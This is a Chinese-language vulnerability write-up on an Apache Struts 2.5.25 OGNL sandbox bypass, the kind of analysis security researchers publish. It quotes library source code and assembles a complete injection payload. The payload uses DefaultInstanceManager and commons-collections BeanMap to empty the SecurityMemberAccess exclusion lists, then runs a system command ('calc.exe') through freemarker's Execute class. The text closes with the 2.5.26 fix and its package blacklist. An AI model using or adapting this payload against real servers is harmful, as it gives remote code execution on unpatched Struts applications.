前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
影响版本Struts 2.0.0 - Struts 2.5.25,这里使用struts 2.5.25。
官方通告,主要看沙盒绕过方式,需要引入一个老朋友依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
漏洞利用
现有的沙盒限制主要位于SecurityMemberAccess类中,类型如下:
无法new一个对象,由isClassExcluded函数负责,前面的callConstructor函数将target设置为一个class,isAccessible函数中获得的targetClass就为Class.class,触发isClassExcluded函数中的:
clazz == Class.class && !allowStaticMethodAccess
无法调用黑名单类和包的方法、属性,由isPackageExcluded等函数负责
无法使用反射,由isClassExcluded函数负责,由于将java.lang.Object和java.lang.Class放入黑名单,而反射需要调用它们的getClass、getDeclaredMethod等函数
无法调用静态方法,由Modifier.isStatic和allowStaticMethodAccess属性负责
还在OgnlRuntime的invokeMethod函数中以写死的方式禁止了一些类,即绕过沙盒也无法使用它们。
我们现在还剩下的手段,就只有调用已实例化对象的非静态函数了。
#application中存在一个DefaultInstanceManager对象:
其newInstance函数如下:
public Object newInstance(String className) throws IllegalAccessException, InvocationTargetException, NamingException, InstantiationException, ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, SecurityException {
Class<?> clazz = this.loadClassMaybePrivileged(className, this.classLoader);
return this.newInstance(clazz.getConstructor().newInstance(), clazz);
}
private Object newInstance(Object instance, Class<?> clazz) throws IllegalAccessException, InvocationTargetException, NamingException {
if (!this.ignoreAnnotations) {
Map<String, String> injections = this.assembleInjectionsFromClassHierarchy(clazz);
this.populateAnnotationsCache(clazz, injections);
this.processAnnotations(instance, injections);
this.postConstruct(instance, clazz);
}
return instance;
}
可以通过一个字符串创建一个新的对象,但是要求该类存在public的无参构造函数。
老朋友依赖中的org.apache.commons.collections.BeanMap类存在public的无参构造函数:
public BeanMap() {
}
其setBean函数如下:
public void setBean(Object newBean) {
this.bean = newBean;
this.reinitialise();
}
reinitialise函数:
protected void reinitialise() {
readMethods.clear();
writeMethods.clear();
types.clear();
initialise();
}
private void initialise() {
if(getBean() == null) return;
Class beanClass = getBean().getClass();
try {
//BeanInfo beanInfo = Introspector.getBeanInfo( bean, null );
BeanInfo beanInfo = Introspector.getBeanInfo( beanClass );
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
if ( propertyDescriptors != null ) {
for ( int i = 0; i < propertyDescriptors.length; i++ ) {
PropertyDescriptor propertyDescriptor = propertyDescriptors[i];
if ( propertyDescriptor != null ) {
String name = propertyDescriptor.getName();
Method readMethod = propertyDescriptor.getReadMethod();
Method writeMethod = propertyDescriptor.getWriteMethod();
Class aType = propertyDescriptor.getPropertyType();
if ( readMethod != null ) {
readMethods.put( name, readMethod );
}
if ( writeMethod != null ) {
writeMethods.put( name, writeMethod );
}
types.put( name, aType );
}
}
}
}
...
}
简单来说就是会获取输入的对象中的所有属性的描述符及相应的getter和setter放入对应的清空后的HashMap中。
然后其get函数:
public Object get(Object name) {
if ( bean != null ) {
Method method = getReadMethod( name );
if ( method != null ) {
try {
return method.invoke( bean, NULL_ARGUMENTS );
}
catch ( IllegalAccessException e ) {
logWarn( e );
}
catch ( IllegalArgumentException e ) {
logWarn( e );
}
catch ( InvocationTargetException e ) {
logWarn( e );
}
catch ( NullPointerException e ) {
logWarn( e );
}
}
}
return null;
}
可以调用输入name的getter函数,因为OgnlValueStack中存在getContext函数,所以可以通过BeanMap获取其中存放的context:
data1 = {
"username": "%{"
"(#stack=#attr['struts.valueStack'])."
"(#beanmap=#application['org.apache.tomcat.InstanceManager'].newInstance(\"org.apache.commons.collections.BeanMap\"))."
"(#beanmap.setBean(#stack))."
"(#context=#beanmap.get(\"context\"))"
"}"
}
通过调试可以看到结果:
获取到context后就可以通过其getMemberAccess函数获取SecurityMemberAccess,然后就是调用其setter清空其中的黑名单,这里可以使用BeanMap的put函数:
public Object put(Object name, Object value) throws IllegalArgumentException, ClassCastException {
if ( bean != null ) {
Object oldValue = get( name );
Method method = getWriteMethod( name );
if ( method == null ) {
...
try {
Object[] arguments = createWriteMethodArguments( method, value );
method.invoke( bean, arguments );
Object newValue = get( name );
firePropertyChange( name, oldValue, newValue );
}
catch ( InvocationTargetException e ) {
logInfo( e );
throw new IllegalArgumentException( e.getMessage() );
}
catch ( IllegalAccessException e ) {
logInfo( e );
throw new IllegalArgumentException( e.getMessage() );
}
return oldValue;
}
return null;
}
虽然源码中的freemarker.template.utility.Execute类没有无参构造函数,但我们都知道JVM会给它自己加一个,所以最后payload:
data1 = {
"username": "%{"
"(#stack=#attr['struts.valueStack'])."
"(#instanceManager=#application['org.apache.tomcat.InstanceManager'])."
"(#beanmap=#instanceManager.newInstance(\"org.apache.commons.collections.BeanMap\"))."
"(#emptySet=#instanceManager.newInstance(\"java.util.HashSet\"))."
"(#beanmap.setBean(#stack))."
"(#context=#beanmap.get(\"context\"))."
"(#beanmap.setBean(#context))."
"(#memberAccess=#beanmap.get(\"memberAccess\"))."
"(#beanmap.setBean(#memberAccess))."
"(#beanmap.put(\"excludedClasses\", #emptySet))."
"(#beanmap.put(\"excludedPackageNames\", #emptySet))."
"(#args=#instanceManager.newInstance(\"java.util.ArrayList\"))."
"(#args.add(\"calc.exe\"))."
"(#execute=#instanceManager.newInstance(\"freemarker.template.utility.Execute\"))."
"(#execute.exec(#args))"
"}"
}
漏洞分析
同S2-059。
漏洞修复
在Struts 2.5.26版本下,黑名单增加了:
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util.,
org.apache.tomcat.,
org.apache.catalina.core.,
com.ibm.websphere.,
org.apache.geronimo.,
org.apache.openejb.,
org.apache.tomee.,
org.eclipse.jetty.,
org.mortbay.jetty.,
org.glassfish.,
org.jboss.as.,
org.wildfly.,
weblogic.," />
禁止了org.apache.catalina.core.,即禁止了DefaultInstanceManager,无法再通过这个类实例化对象了。
同时populateComponentHtmlId函数中的id也变成了未经过表达式解析的%{username},双重评估也修了。